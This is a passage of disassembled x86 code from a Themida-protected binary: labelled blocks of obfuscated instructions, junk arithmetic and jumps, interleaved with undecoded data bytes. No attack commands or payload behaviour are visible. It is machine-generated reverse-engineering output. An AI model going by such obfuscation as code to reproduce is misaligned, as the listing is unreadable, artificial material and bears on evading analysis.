loc_50C6DB:				; CODE XREF: Themida_:0051984Bj
		mov	edi, [esp]
		push	ebx
		jmp	loc_51DB3F
; ---------------------------------------------------------------------------
		dd 5059C829h, 1101EE9h,	4EC8100h, 89000000h, 74FF242Ch
		dd 8F5D0424h, 0E95C2404h, 1152Dh, 791AA0BAh, 0A0DE919h
		db 1, 0
; ---------------------------------------------------------------------------


loc_50C70E:				; CODE XREF: Themida_:005147DFj
		push	76F7h
		jmp	loc_50CADA
; ---------------------------------------------------------------------------
		dd 6AABF381h, 0E9522CB2h, 7056h, 2C20B951h, 0CF097C71h
		dd 8906E9h
		db 0
; ---------------------------------------------------------------------------


loc_50C731:				; CODE XREF: Themida_:00510EFAj
		mov	esp, [esp]
		push	edx
		mov	esi, [esp]
		jmp	loc_511F1F
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 6C0EB8B8h, 2DBD553Dh, 0E96FBC74h, 0E5A9h
; ---------------------------------------------------------------------------


loc_50C750:				; CODE XREF: Themida_:00513863j
		and	ecx, 320A4740h
		add	ecx, 0FFFFFEC4h
		jmp	loc_518CB5
; ---------------------------------------------------------------------------
		db 29h,	0E8h, 0E9h
		dd 10A77h, 0EC8BC781h, 0FE891DD1h, 0E9F3015Fh, 79A2h
; ---------------------------------------------------------------------------


loc_50C778:				; CODE XREF: Themida_:0051113Ej
		mov	edx, 5C8A6B25h
		add	edx, 0A8223A0h
		xor	esi, edx
		jmp	loc_5182E7
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4ECh, 242C8900h, 4BDh, 4EB8100h, 575EBA16h, 0A39CE9h
		db 0
; ---------------------------------------------------------------------------


loc_50C7A5:				; CODE XREF: Themida_:005146B2j
		mov	[esp], edx
		jmp	loc_5199CD
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 8104C483h, 4C4h, 0CFE95600h,	890000AFh, 4C381E3h, 50000000h
		dd 4B8h, 0E9C30100h, 6C02h
; ---------------------------------------------------------------------------


loc_50C7D4:				; CODE XREF: Themida_:0050C8A4j
		dec	edx
		push	ebp
		mov	ebp, 7A4E2985h
		and	edx, ebp
		jmp	loc_5122DB
; ---------------------------------------------------------------------------


loc_50C7E2:				; CODE XREF: Themida_:00521038j
		xor	[edi+20h], esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	69F4h
		mov	[esp], ebp
		push	50F273D8h
		jmp	loc_51BCBF
; ---------------------------------------------------------------------------


loc_50C803:				; CODE XREF: Themida_:0050EAABj
		sub	eax, ebx
		pop	ebx
		mov	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_5144BE
; ---------------------------------------------------------------------------


loc_50C81B:				; CODE XREF: Themida_:00510ED6j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	eax
		jmp	loc_511333
; ---------------------------------------------------------------------------
		dd 8104C483h, 2ECh, 14896600h, 4EC8124h, 0E9000000h, 11B02h
		dd 0DEF7D6F7h, 0B6B0EE81h, 0E9527CAFh, 0E1CFh, 5C243433h
		dd 4BB0F66h, 98E99C24h,	50000B3h, 4, 4BB53h, 0D8010000h
		dd 2404875Bh, 242C815Ch, 1FE10FF7h, 81240401h, 0FF72404h
		dd 4811FE1h, 0EE7EE424h, 0ED53E90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C892:				; CODE XREF: Themida_:0050E278j
		and	eax, 1884108h
		dec	eax
		push	edx
		mov	edx, 1D6D391Eh
		or	edx, 1E3019F6h
		jmp	loc_50C7D4
; ---------------------------------------------------------------------------
		db 1, 0FBh, 55h
		dd 0FBE95057h, 46000058h, 2CF5B850h, 450D299Ch,	0E974B35Dh
		dd 15FBh
; ---------------------------------------------------------------------------


loc_50C8C4:				; CODE XREF: Themida_:00513295j
		mov	[esp], ecx
		jmp	loc_516F13
; ---------------------------------------------------------------------------
aHJ		db '\h~j',0
		align 2
		dw 0C89h
		dd 56F26824h, 0C1591BA8h, 0EC8104E9h, 4, 0BD242C89h, 667510D0h
		dd 0F8BF581h, 0ED834F1Dh, 49C581FFh, 8167B614h,	0B1B9B0EDh
		dd 5DE9316Bh, 44E3BB53h, 0D9014A91h, 0E0BA525Bh, 81579343h
		dd 0A6444FEAh, 3E2C133h, 0D01CF281h, 0BB530E70h, 6451247Eh
		dd 15BD929h, 7EC181D1h,	0E9645124h, 0FFFFF33Eh,	3A65E3B9h
		dd 0CDF18173h, 0C1507803h, 0E98105E9h, 0A198D0BDh, 11FCEE9h
		db 0
; ---------------------------------------------------------------------------


loc_50C951:				; CODE XREF: Themida_:00512F2Dj
		add	eax, 9C2CC29Dh
		and	edi, eax
		pop	eax
		push	66E9h
		jmp	loc_518C6E
; ---------------------------------------------------------------------------


loc_50C963:				; CODE XREF: Themida_:0051EA85j
		sub	ebp, ebx
		pop	ebx
		sub	ebx, ebp
		pop	ebp
		add	edi, ebx
		pop	ebx
		push	eax
		mov	eax, 4
		sub	edi, eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 1Ch
		push	edi
		mov	edi, 79EE225Ch
		sub	ebx, edi
		pop	edi
		push	7C10h
		mov	[esp], ecx
		mov	ecx, 0DB50BC9h
		jmp	loc_51E4C7
; ---------------------------------------------------------------------------
		dw 0CE68h
		dd 0E933C416h, 102BCh, 51242C8Bh, 0C181E189h, 4, 12DF5E9h
		dd 0C2295800h, 0FE1BE9h, 0F7EB8100h, 59149040h,	5C241C87h
		dd 788D68h, 240C8900h, 17E95954h, 0FE000125h, 25EB80CBh
		dd 0D771E9h, 2D39BE00h,	0E6C12C02h, 0FFDE904h, 8B580000h
		dd 0C4832414h, 0D9305804h, 241C8B66h, 2C481h, 0CB280000h
		dd 592434FFh, 4C481h, 98E90000h
		db 0Bh,	1, 0
; ---------------------------------------------------------------------------


loc_50CA17:				; CODE XREF: Themida_:0051EC62j
		add	edx, esi
		jmp	loc_51F212
; ---------------------------------------------------------------------------


loc_50CA1E:				; CODE XREF: Themida_:00515ECEj
		mov	al, 3Ch
		mov	bl, 0D9h
		add	bl, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_51F8F7
; ---------------------------------------------------------------------------
a@sf		db '@锱',0
		db 0
; ---------------------------------------------------------------------------


loc_50CA35:				; CODE XREF: Themida_:00520057j
		pop	esp
		jmp	loc_50C50E
; ---------------------------------------------------------------------------
		db 1
aVUxVsa7	db 'VXvA7',0
		align 4
aWsC		db 'Wc',0
		align 2
		dw 1487h
aPXKSW		db '$\P)k$|W',0
		dd 120CBA00h, 0A7E908A2h, 0FF00011Dh, 34FF2434h, 54565824h
		dd 4EC815Eh, 89000000h,	0B850243Ch, 95C1Dh, 95C1935h, 8BC78900h
		dd 0C4812404h, 4, 0EB26E9h, 0E9E90100h,	219Ah, 0F7EF875Fh
		dd 0E9EF87D5h, 8E3Fh
; ---------------------------------------------------------------------------


loc_50CAA8:				; CODE XREF: Themida_:0051C784j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------


loc_50CAB6:				; CODE XREF: Themida_:00516085j
		sub	bl, 0B0h
		add	bl, 0C8h
		jmp	loc_515C05
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C5h
		dd 4, 0E9242C87h, 5148h, 34518ABDh, 0E0C6E97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50CADA:				; CODE XREF: Themida_:0050C713j
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_510F0F
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 0E9CF015Fh, 4D1h, 3633EE81h,	0E4E9B115h
		db 0FCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50CAFF:				; CODE XREF: Themida_:00519549j
		xor	[esp], ebx
		jmp	loc_510E79
; ---------------------------------------------------------------------------


loc_50CB07:				; CODE XREF: Themida_:00518699j
		pop	edi
		pop	ebp
		jmp	loc_51C13F
; ---------------------------------------------------------------------------


loc_50CB0E:				; CODE XREF: Themida_:00515EBBj
		mov	ebx, 62137B5Ch
		sub	ebx, 5148FCDFh
		sub	ebp, ebx
		pop	ebx
		shr	ebp, 6
		push	675Eh
		mov	[esp], edx
		mov	edx, 1839B08h
		jmp	loc_5137B5
; ---------------------------------------------------------------------------


loc_50CB31:				; CODE XREF: Themida_:00517260j
		mov	[esp], ecx
		mov	ecx, 44055DC6h
		jmp	loc_5184B0
; ---------------------------------------------------------------------------
		dw 0D366h
		dd 0E99C2404h, 0FFFFEF21h, 5FF56CBAh, 0FFD701FEh, 86E92434h
		dd 5F000094h, 0F681FE87h, 521042Ah, 0C15EF331h,	0C38106EBh
		dd 2190C19Eh, 2185C281h, 0DA0138C2h, 2185EA81h,	0E95B38C2h
		dd 0B1ACh, 45E9C329h
		db 25h,	1, 0
; ---------------------------------------------------------------------------


loc_50CB87:				; CODE XREF: Themida_:0051A85Aj
		pop	esi
		push	eax
		mov	eax, 2141024Dh
		shl	eax, 6
		push	esi
		mov	esi, 74F4252Ch
		jmp	loc_515670
; ---------------------------------------------------------------------------


loc_50CB9C:				; CODE XREF: Themida_:0050D3ABj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		movzx	ax, byte ptr [eax]
		push	434h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		push	ebp
		jmp	loc_5116C6
; ---------------------------------------------------------------------------


loc_50CBBE:				; CODE XREF: Themida_:0051D7EDj
		pop	esp
		jmp	loc_5100ED
; ---------------------------------------------------------------------------
		dd 0FE08E2C0h, 0BD30E9CAh, 0C870000h, 0EE815C24h, 59520015h
		dd 26DEE95Dh, 0E1890001h, 7D1CBF57h, 0D7F77564h, 8103EFC1h
		dd 7514FEE7h, 5E7C10Eh,	0B84F781h, 0C7E90A22h
		db 0E3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50CBFF:				; CODE XREF: Themida_:00520792j
		not	edx
		add	edx, 0F7F7D7ECh
		jmp	loc_520DDE
; ---------------------------------------------------------------------------


loc_50CC0C:				; CODE XREF: Themida_:0050E034j
		add	ebp, 0E4F80F90h
		sub	ecx, ebp
		pop	ebp
		add	esi, 4A5D7469h
		jmp	loc_51FD1A
; ---------------------------------------------------------------------------


loc_50CC20:				; CODE XREF: Themida_:00519652j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_51442E
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0C4733DBFh, 80CF8146h, 8167A538h, 140F55EFh,	5FECE959h
		dd 0BA520000h, 359C6F3Bh, 148BD521h, 4C48324h, 2E46CD81h
		dd 0BE561DA7h, 78210689h, 279EE81h, 0D4E978BCh
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50CC6B:				; CODE XREF: Themida_:00511899j
		pop	ecx
		push	ecx
		sub	esp, 4
		jmp	loc_511CC2
; ---------------------------------------------------------------------------


loc_50CC75:				; CODE XREF: Themida_:0050BDA3j
		pop	esp
		jmp	loc_5184C7
; ---------------------------------------------------------------------------


loc_50CC7B:				; CODE XREF: Themida_:0050B91Dj
		xor	ecx, 3081B4FBh
		xor	ecx, 0BC5584Eh
		push	ebp
		mov	ebp, 1CB42129h
		add	ecx, ebp
		pop	ebp
		jmp	loc_51C4B0
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 2A6EEB81h, 5050625h,	2903576Ah, 5B951D8h, 2D03576Ah
		dd 5CF642ABh, 0AB05C829h, 595CF642h, 106BBE9h, 24143000h
		dd 138A6866h, 24048966h, 8853E888h, 5BFD88D7h, 71A1E9h
		dd 0C1815B00h, 2C610E06h, 0E959CA01h, 0C1F0h, 68240C89h
		dd 0A7Ch, 68243489h, 4B2C6265h,	13D32E9h, 4C68100h, 87000000h
		dd 295C2434h, 615B305Ah, 0D6E9C39Dh, 89FFFFE8h,	243C8BFAh
		dd 4C481h, 0F2810000h, 2F634Eh,	6E98CA81h, 0F2810103h
		dd 1C466FCBh, 0FEF1C281h, 0D101F606h, 74FF515Ah, 8F590424h
		dd 835C2404h, 0C8904ECh, 80D5B124h, 0E95200E1h,	6E9Bh
		dd 0C15FFE29h, 0C68107EEh, 3A51B26Dh, 0F002E9h
		db 0
; ---------------------------------------------------------------------------


loc_50CD61:				; CODE XREF: Themida_:0050DFFCj
		pop	edi
		jmp	loc_5165B3
; ---------------------------------------------------------------------------
		db 0FEh
		dd 2E0C0C0h, 0C004B151h, 736808E1h, 89000079h, 0EFB3241Ch
		dd 0E988EB80h, 14281h, 29A8E95Bh
		db 1, 0
; ---------------------------------------------------------------------------


loc_50CD8A:				; CODE XREF: Themida_:0050DBA5j
		sub	ecx, ebx
		pop	ebx
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 81h
		dd 0D0082444h, 0E904D732h, 1417Eh, 3C8BF989h, 4C48124h
		dd 53000000h, 331441BBh, 1E9E3h
		db 1, 0
; ---------------------------------------------------------------------------


loc_50CDBE:				; CODE XREF: Themida_:00511533j
		pop	eax
		jmp	loc_513C85
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 14D25966h, 12E99C24h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50CDD3:				; CODE XREF: Themida_:00517635j
		mov	edi, esp
		jmp	loc_51D0A3
; ---------------------------------------------------------------------------


loc_50CDDA:				; CODE XREF: Themida_:005114E8j
		mov	eax, 220D4664h
		push	ecx
		mov	ecx, 56EA28D3h
		add	eax, ecx
		pop	ecx
		sub	eax, 69165ACh
		sub	eax, ebp
		jmp	loc_50E8F0
; ---------------------------------------------------------------------------


loc_50CDF4:				; CODE XREF: Themida_:00517F6Fj
		add	ebp, 6B1A39FAh
		dec	ebp
		jmp	loc_510D25
; ---------------------------------------------------------------------------


loc_50CE00:				; CODE XREF: Themida_:00514B57j
		push	7B3Ah
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_50DD17
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 17E95C24h, 88FFFFFDh, 88D6F6CEh, 0FAE2E9F1h,	315C0000h
		dd 0BE565DEAh, 6D3E4294h, 15EF329h, 94C381D3h, 8B6D3E42h
		dd 0C4812414h, 4, 21D768h, 24048900h, 2B8h, 0DAC38100h
		dd 0E908DC6Dh, 45C1h
; ---------------------------------------------------------------------------


loc_50CE68:				; CODE XREF: Themida_:0050F4E2j
		mov	[esp], ebp
		jmp	loc_5206CD
; ---------------------------------------------------------------------------
		dd 0BB53E589h, 4, 18E9DD01h
		db 0Bh,	1, 0
; ---------------------------------------------------------------------------


loc_50CE7F:				; CODE XREF: Themida_:0051691Fj
		sub	ebx, 0C6A61FEAh
		or	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_5144F2
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24348B00h, 2BD9E9h
		db 0
; ---------------------------------------------------------------------------


loc_50CE9D:				; CODE XREF: Themida_:0051955Fj
		mov	bl, 6
		xor	cl, bl
		pop	bx
		push	edx
		mov	dh, cl
		not	dh
		mov	cl, dh
		pop	edx
		push	76h
		mov	[esp], eax
		mov	ah, 23h
		sub	ah, 0FFh
		jmp	loc_50EB25
; ---------------------------------------------------------------------------


loc_50CEBD:				; CODE XREF: Themida_:00519685j
		push	5AB4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_51F06E
; ---------------------------------------------------------------------------


loc_50CEDD:				; CODE XREF: Themida_:0051487Fj
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		push	3478h
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		not	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_50DF6D
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 9F41E9h, 0C8B6600h, 800E924h, 5580001h, 8AD09CC3h
		dd 48BC531h, 4C48324h, 75FEE9h
		db 0
; ---------------------------------------------------------------------------


loc_50CF41:				; CODE XREF: Themida_:00520929j
		add	esp, 4
		add	edi, 4
		push	eax
		jmp	loc_5114E2
; ---------------------------------------------------------------------------
		db 29h
		dd 0EF815EF5h, 5F5964D4h, 0DED6E9h, 3C77FF00h, 0C8E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_50CF69:				; CODE XREF: Themida_:0051D4F4j
		push	ecx
		push	2800h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edi
		push	eax
		push	388738F2h
		pop	eax
		add	eax, 5BAF32E4h
		xor	eax, 23E95A62h
		shr	eax, 1
		add	eax, 0A410672Ah
		jmp	loc_51FC69
; ---------------------------------------------------------------------------


loc_50CF98:				; CODE XREF: Themida_:0051782Dj
		shr	ecx, 8
		add	ecx, 0FF8468A3h
		add	eax, ecx
		jmp	loc_50F443
; ---------------------------------------------------------------------------
		dd 247C2966h, 665F6604h, 83243C8Bh, 2AE902C4h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50CFBB:				; CODE XREF: Themida_:0050E363j
		push	60F5h
		jmp	loc_51250C
; ---------------------------------------------------------------------------
aYhoj		db 'YhJ',0
		dw 0E900h
		dd 420Fh, 8A242428h, 0C4832424h, 0E9CCFE02h, 0EF1Ch
; ---------------------------------------------------------------------------


loc_50CFE0:				; CODE XREF: Themida_:005137B0j
		push	ecx
		jmp	loc_51689F
; ---------------------------------------------------------------------------
		dw 0C131h
		dd 0CEBB5358h, 50D213Ch, 0DC84A3Ch, 32E9D829h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50CFFB:				; CODE XREF: Themida_:0051380Bj
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_51EF8A
; ---------------------------------------------------------------------------
aSc		db '\',7,0
		dd 0C8B6600h, 3E556824h, 26E90000h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50D01B:				; CODE XREF: Themida_:0050F94Ej
		mov	[esp], esi
		push	edi
		mov	edi, 20DA64FBh
		add	edi, 7E1430DAh
		shr	edi, 3
		add	edi, 63856ACFh
		add	edi, 9030D6F3h
		mov	esi, edi
		pop	edi
		push	ecx
		push	edx
		push	714B2676h
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 7882FF3h
		jmp	loc_520526
; ---------------------------------------------------------------------------
		db 55h
		dd 7201B4BDh, 761BBB59h, 0EB313149h, 5BDE015Dh,	10386E9h
		dd 34335A00h, 154CE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_50D076:				; CODE XREF: Themida_:0051C67Dj
		shl	edx, 1
		jmp	loc_518411
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 81h
		dd 974B08EFh, 0E9FB0180h, 943Fh
; ---------------------------------------------------------------------------


loc_50D08C:				; CODE XREF: Themida_:0051F987j
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 1
		dd 2766BE56h, 0EED15E4Ch, 31F6E681h, 60E9561Bh,	0C9h, 66F42CD8h
		dd 0E92ED768h, 1E0Fh, 24048B66h, 105FEE9h, 18E36800h, 8F540000h
		dd 4832404h, 575B0424h,	4BFh, 0EF24E900h, 1C8B0000h, 4C48324h
		dd 5A66D328h, 0D3F6EBD0h, 0FFF8F2E9h, 4C281FFh,	81000000h
		dd 4C2h, 74FF5200h, 8F5A0424h, 0DE92404h, 5800004Ah, 0B38B951h
		dd 90E90B36h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D10F:				; CODE XREF: Themida_:005114DDj
		add	esp, 4
		add	ebx, 4
		push	ebp
		push	edi
		jmp	loc_517D18
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5B042474h, 5C24048Fh, 8904EC83h, 17B9240Ch, 0F775FF6Dh
		dd 0EDF181D9h, 0E98A0092h, 0C07Ah, 8B241C33h, 0C892424h
		dd 0BF575224h, 74A86CBEh, 4F03E7C1h, 0C1D7F74Fh, 90E904E7h
		dd 8000005Dh, 0E6802AEEh, 0BE3CE903h, 0C6810000h, 3AAC2D50h
		dd 0EE81C601h, 3AAC2D50h, 132CAE9h, 0E9F1F700h,	5A50h
; ---------------------------------------------------------------------------


loc_50D184:				; CODE XREF: Themida_:00513A27j
		push	edx
		mov	edx, ecx
		mov	esi, edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_50D944
; ---------------------------------------------------------------------------
		dd 89243489h, 0E4E953E6h, 89FFFFEDh, 15A6E9DDh,	0F8290000h
		dd 7488E9h, 4BF00h, 0ED810000h,	7C54556Eh, 83B95152h, 0BA233243h
		dd 2DE32FEBh, 2959CA31h, 7447E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50D1D6:				; CODE XREF: Themida_:0050FDCCj
		pop	esp
		sub	ebx, 4
		jmp	loc_516011
; ---------------------------------------------------------------------------
		dw 0F680h
		dd 5AF32865h, 82E9DD88h, 83000050h, 0D82904C4h,	4895BD55h
		dd 0EDC157E8h, 59C58107h, 13E6546h, 3E50E9E8h, 59660000h
		dd 4761E950h, 0E1890000h, 4C181h, 0E9810000h, 4, 0E9240C87h
		dd 1007Dh, 505205B0h, 0D3E975B4h
		db 11h,	1, 0
; ---------------------------------------------------------------------------


loc_50D233:				; CODE XREF: Themida_:00516ED9j
		mov	edi, 71247B48h
		jmp	loc_50F70E
; ---------------------------------------------------------------------------


loc_50D23D:				; CODE XREF: Themida_:0051E047j
		add	ebp, edi
		sub	ebp, 7A90784Dh
		add	ebp, 2B8A4737h
		sub	ebp, 67460418h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_515BF7
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC832404h, 24248904h, 0FEC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_50D26D:				; CODE XREF: Themida_:0050BFF1j
		push	eax
		pushf
		jmp	loc_514E11
; ---------------------------------------------------------------------------


loc_50D274:				; CODE XREF: Themida_:0050EC31j
		mov	[esp], ebx
		mov	ebx, esi
		push	esi
		mov	esi, ebx
		mov	ebp, esi
		pop	esi
		pop	ebx
		pop	esi
		add	ebx, 11EC3E7Eh
		add	ebx, ebp
		sub	ebx, 11EC3E7Eh
		pop	ebp
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5173C8
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 2Fh
		dd 0E94DD837h, 11698h
; ---------------------------------------------------------------------------


loc_50D2AC:				; CODE XREF: Themida_:0050DE40j
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 0ADh, 2Dh, 1
		dd 52CF70Eh, 1DFA5AEEh,	2D8EE9h, 242C8900h, 1F9E68h, 1AE3E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_50D2CE:				; CODE XREF: Themida_:0050FDE7j
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		push	7E39h
		mov	[esp], edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 4
		sub	edx, 0BDA4A9Ah
		push	6744h
		mov	[esp], ebp
		mov	ebp, 2A3705Ch
		add	edx, ebp
		pop	ebp
		jmp	loc_51B1FA
; ---------------------------------------------------------------------------
		db 83h
		dd 34FF04C4h, 87B8E924h, 28880000h, 0C8B5B58h, 0E2895224h
		dd 273D68h, 241C8900h, 0C41FC9BBh, 0E381433Dh, 3B9C5765h
		dd 173CEB81h, 0DA013984h, 21CD685Bh, 34890000h,	4BE24h
		dd 1CE90000h, 400004Ch,	622CB7h
		db 0C8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bl, 0F0h
		jmp	loc_516799
; ---------------------------------------------------------------------------
		db 4
		dd 129E9BAh, 348B0001h,	4C48324h, 0E904EB83h, 8022h, 565BD801h
		dd 2D7FB1BEh, 5EF02933h, 0E9243C8Bh, 0CFB5h, 8102EA83h
		dd 4ECh, 0CD66E900h, 0A3680000h, 5D305D41h, 0CB52E9h
		db 0
; ---------------------------------------------------------------------------


loc_50D3A5:				; CODE XREF: Themida_:00517CA5j
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_50CB9C
; ---------------------------------------------------------------------------


loc_50D3B0:				; CODE XREF: Themida_:00519C39j
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	4D34h
		mov	[esp], ecx
		push	esi
		mov	esi, 61E8060Ah
		sub	esi, 324ACE70h
		jmp	loc_51538E
; ---------------------------------------------------------------------------


loc_50D3D0:				; CODE XREF: Themida_:00515D93j
		push	ecx
		mov	ecx, 4
		push	edx
		mov	edx, 22F325A2h
		add	edi, edx
		pop	edx
		jmp	loc_51C5B4
; ---------------------------------------------------------------------------
		dd 4247401h, 0EC81585Eh, 4, 0BB241C89h,	164A1B45h, 1B41BE56h
		dd 0B8E9164Ah
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50D403:				; CODE XREF: Themida_:0050FE00j
		sub	edi, esi
		pop	esi
		jmp	loc_51071F
; ---------------------------------------------------------------------------
		dd offset dword_511A68
		align 10h
		dd 0BF243C89h, 6F296DC7h, 0EFC1D7F7h, 8AF78102h, 12435A4h
		dd 0B8505FFEh, 4, 10005E9h
		db 0
; ---------------------------------------------------------------------------


loc_50D431:				; CODE XREF: Themida_:00510637j
		pop	ecx
		jmp	loc_50F8BD
; ---------------------------------------------------------------------------


loc_50D437:				; CODE XREF: Themida_:0051C308j
		add	esi, 2210419Fh
		push	7236h
		mov	[esp], esi
		xor	dword ptr [esp], 59BF203Ch
		pop	ebx
		xor	ebx, 59BF203Ch
		pop	esi
		xor	ebx, 427D35DCh
		push	ebx
		mov	ebx, 2B826A8Ch
		add	eax, ebx
		push	dword ptr [esp]
		jmp	loc_513230
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4C281h, 0D3E90000h, 1FFFFF5h, 0B8EA81C2h,	587C3915h
		dd 79A3B850h, 0C2295816h, 81C20158h, 1679A3C2h,	5E456858h
		dd 4890000h, 4FB06824h,	12E900E3h, 0F7FFFFF5h, 57FE87DEh
		dd 0E92414F7h, 0FFFFF6A3h
; ---------------------------------------------------------------------------


loc_50D4B4:				; CODE XREF: Themida_:00511E68j
		pop	eax
		push	edx
		push	7213h
		jmp	loc_51C603
; ---------------------------------------------------------------------------


loc_50D4C0:				; CODE XREF: Themida_:00512FABj
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_517E43
; ---------------------------------------------------------------------------


loc_50D4CA:				; CODE XREF: Themida_:0051BBB5j
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	eax, 3DBC499Ch
		sub	esp, 4
		jmp	loc_50B81F
; ---------------------------------------------------------------------------
		db 87h
		dd 55C241Ch, 6B8F413Ah,	7EEEE9h
		db 0
; ---------------------------------------------------------------------------


loc_50D4F1:				; CODE XREF: Themida_:005135A8j
		pop	ebx
		add	ebx, 4CD904A8h
		sub	ebx, 767F788Dh
		jmp	loc_51AB29
; ---------------------------------------------------------------------------
		db 89h
		dd 26BD55E3h, 8130393Fh, 393F22EDh, 0E9EB0130h,	47C8h
		dd 4C4815Ah, 28000000h,	4EC81D8h, 89000000h, 34E9241Ch
		dd 1000037h, 11EE9F9h, 0E9510000h, 10DD0h, 0CB71FBBAh
		dd 14F28164h, 0E96C145Ah, 76ECh, 0F56FC381h, 0DF89C704h
		dd 0C4CF815Bh, 0E96F4B5Bh, 0FFFFE872h
; ---------------------------------------------------------------------------


loc_50D560:				; CODE XREF: Themida_:0051ED76j
		shl	edx, 1
		push	ebx
		jmp	loc_50FCE6
; ---------------------------------------------------------------------------


loc_50D568:				; CODE XREF: Themida_:0050D964j
		push	42B0F67h
		pop	ebp
		add	ebp, 681D2860h
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edi, 6AFB785Fh
		neg	edi
		shr	edi, 7
		add	edi, 22A5F7F7h
		and	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 54630EC8h
		jmp	loc_5158F9
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 2C8904ECh, 2C8B5424h, 8C96E924h, 685B0000h
		dd 56h,	68241C89h, 2, 50241C8Bh, 0D259E9h, 2DD00100h, 4ACA2CDCh
		dd 0E924148Bh, 0FFFFE034h, 4C381h, 0C3810000h, 4, 8B241C87h
		dd 0EC812424h, 4, 0E9241C89h, 7D38h, 5F2434FFh,	0E9E18951h
		dd 5B7Bh
; ---------------------------------------------------------------------------


loc_50D600:				; CODE XREF: Themida_:00514638j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_50ECD0
; ---------------------------------------------------------------------------


loc_50D611:				; CODE XREF: Themida_:00519479j
		not	edi
		sub	edi, 75E2392Fh
		sub	edi, 94829E4h
		add	esi, edi
		jmp	loc_520DE5
; ---------------------------------------------------------------------------
		dw 1C89h
aS_5		db '$龚',0
		align 2
		dw 0C9FEh
		dd 0FFE3C9E9h
		db 0FFh
